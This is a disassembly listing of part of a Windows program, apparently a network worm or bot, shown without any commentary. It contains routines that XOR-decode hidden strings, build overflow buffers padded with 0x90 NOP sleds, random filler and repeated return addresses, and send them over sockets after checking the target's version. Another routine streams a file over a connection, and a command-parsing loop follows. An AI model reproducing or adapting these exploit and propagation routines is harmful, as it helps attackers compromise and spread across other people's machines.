		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAF0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAF0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: .data:off_41CCFEo

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: .data:0041CD38o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52+265p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DE30
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_51C], eax
		cmp	[ebp+var_51C], 0
		jnz	short loc_411278
